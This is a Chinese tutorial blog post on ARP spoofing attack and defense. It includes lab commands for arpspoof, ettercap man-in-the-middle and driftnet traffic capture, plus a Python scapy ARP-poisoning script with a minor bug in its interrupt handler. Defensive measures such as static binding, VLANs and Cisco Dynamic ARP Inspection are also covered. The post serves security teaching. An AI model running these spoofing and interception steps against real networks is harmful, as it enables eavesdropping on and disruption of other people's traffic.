编程技术分享平台

网站首页 > 技术教程 正文

ARP欺骗攻击及防御

xnh888 2024-11-24 23:30:29 技术教程 26 ℃ 0 评论

文章来源:知了堂冯老师原创

知了小姐姐今天又来给大家送干货啦!



1.回顾

ARP协议

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址,说白了就是将IP地址转化为MAC地址。

2.ARP缓存

如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的

ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存

3.ARP协议安全问题

ARP协议在设计存在着什么安全问题? ARP广播请求/应答 ARP缓存

ARP欺骗 (ARP Spoofing) 发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。

4.ARP攻击原理

PC1和PC2正常通信的时候,会双方会记录对方的IP和MAC地址的映射,就是生成ARP缓存表,当PC1信息发送至交换机端口1的时候再转发到PC2,交换机同样会记录MAC1,生成一条MAC1和端口1的映射,之后交换机可以跟MAC桢的目的MAC进行端口转发。

如果现在有一台PC3,当PC1和PC2建立关系的时候,PC3处于监听状态,也就是会把广播包给丢弃,但PC3同样也可以把包抓起,并回复虚假包,告诉PC1,我是PC2,那么PC1就收到了两条PC2的回应包(一个真的,一个假的),PC1不知道谁是真谁是假,所以PC3就可以连续发包,覆盖掉真正的PC2的包,与PC1建立联系,进行ARP欺骗

5.欺骗实战

5.1断网攻击

实验准备

攻击机:kali ip:192.168.2.135

靶机 :win10 ip:192.168.2.196   网关:192.168.2.1

攻击机发起攻击 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1

5.2 流量截获

实验准备

攻击机:kali ip:192.168.2.135

靶机 :win10 ip:192.168.2.196   网关:192.168.2.1

攻击机发起攻击

arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.1 目标主机网关192.168.2.196

echo 1 >> /proc/sys/net/ipv4/ip_forward

用ettercap命令进行嗅探 -T 文本模式 -q 安静模式

-M 中间人攻击 ettercap -T -q -M ARP /192.168.2.1// ///

用driftnet进行流量监控靶机访问页面, 显示图片 driftnet -i eth0

6.防御

6.1静态绑定关键主机的IP地址与MAC地址映射关系

网关/关键服务器 "arp -s IP地址 MAC地址 类型"

6.2使用相应的ARP防范工具

ARP防火墙

6.3使用VLAN虚拟子网细分网络拓扑

6.4加密传输数据以降低ARP欺骗攻击的危害后果

Win 7下直接运行cmd,arp -s会出现下面的错误提示:
ARP 项删除失败: 请求的操作需要提升。
ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。
(英文版提示:The ARP entry addition failed: Access is denied. )
如何解决呢?
运行arp -s需要用管理员身份运行,
进入windowssystem32文件夹找到cmd.exe,右键“以管理员身份运行”,接下来具体做法是:
1、先运行:netsh i i showin 找到正在使用的网卡idx号
2、然后运行:netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48就可以进行绑定了,这里11是idx号,后面是ip地址与物理地址。
3、输入 arp -a查看
在Win7用ARP -D并不能完全的删除绑定
必须使用
netsh -c "i i" delete neighborsIDX (IDX改为相应的数字)
才可删除MAC地址绑定
?

6.5动态ARP检测

动态 ARP 检测(DAI)可用来验证网络中的 ARP 包,会拦截、记录并丢弃带有无效 IP-MAC 地址映射的 ARP 包,可以保护网络免受中间人攻击的影响。动态 ARP 检测课确保只允许有效的 ARP 请求和回应被转发。

配置步骤为:

1在一个或多客户VLAN 上启用:

switch(config)#ip arp inspection vlan vlan-range

在该命令中,可指定单个 VLAN ID ,用连字符分隔的 VLAN ID 范围或用逗号分隔的 VLAN ID 列表。

2将端口指定为可信。

switch(config)#interface type mod/numswitch(config-if)#ip arp inspection trust

3验证配置

switch#show ip arp inspection vlan vlan-id

7.工具编写

#coding=utf-8
from scapy.all import *
import sys
import os

class ar:
    #mac地址获取
    def get_mac(self,ip_address):
        try:
            #发包获取mac
            ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2)
        except Exception as e:
            print(e)
        else:
            for send,rcv in ans:
                print(rcv[ARP].psrc+"---->"+rcv[Ether].src)
                return rcv[Ether].src
        pass
    #中断arp攻击
    def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
        print("[-] Restoring target ……")
        send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac))
        send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac))
       # os.kill(os.getpid(),signal.SIGINT)
        pass
    #arp攻击
    def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
        try:
            send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac))
            send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac))
        except KeyboardInterrupt:
            restore_target()
        pass
def main():
    #网卡
    interface="eth0"
    #目标ip
    target_ip="192.168.75.11"
    #网卡ip
    gateway_ip="192.168.75.1"
    packet_count=1000
    conf.iface = interface
    conf.verb =0
    
    arp=ar()
    
    #获取网卡mac
    gateway_mac=arp.get_mac(gateway_ip)
    if gateway_mac ==None:
        print("[!] Failed to get target MAC. Exiting.")
    else:
        print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac))

    #获取目标mac
    target_mac=arp.get_mac(target_ip)
    if target_mac==None:
        print("[!] Failed to get target MAC Exiting.")
    else:
        print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac))
    
    #arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac)
    arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)
if __name__=="__main__":
    main()

今天的干货分享就到这里啦,想要获取更多免费干货资源,私信知了小姐姐哈。

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表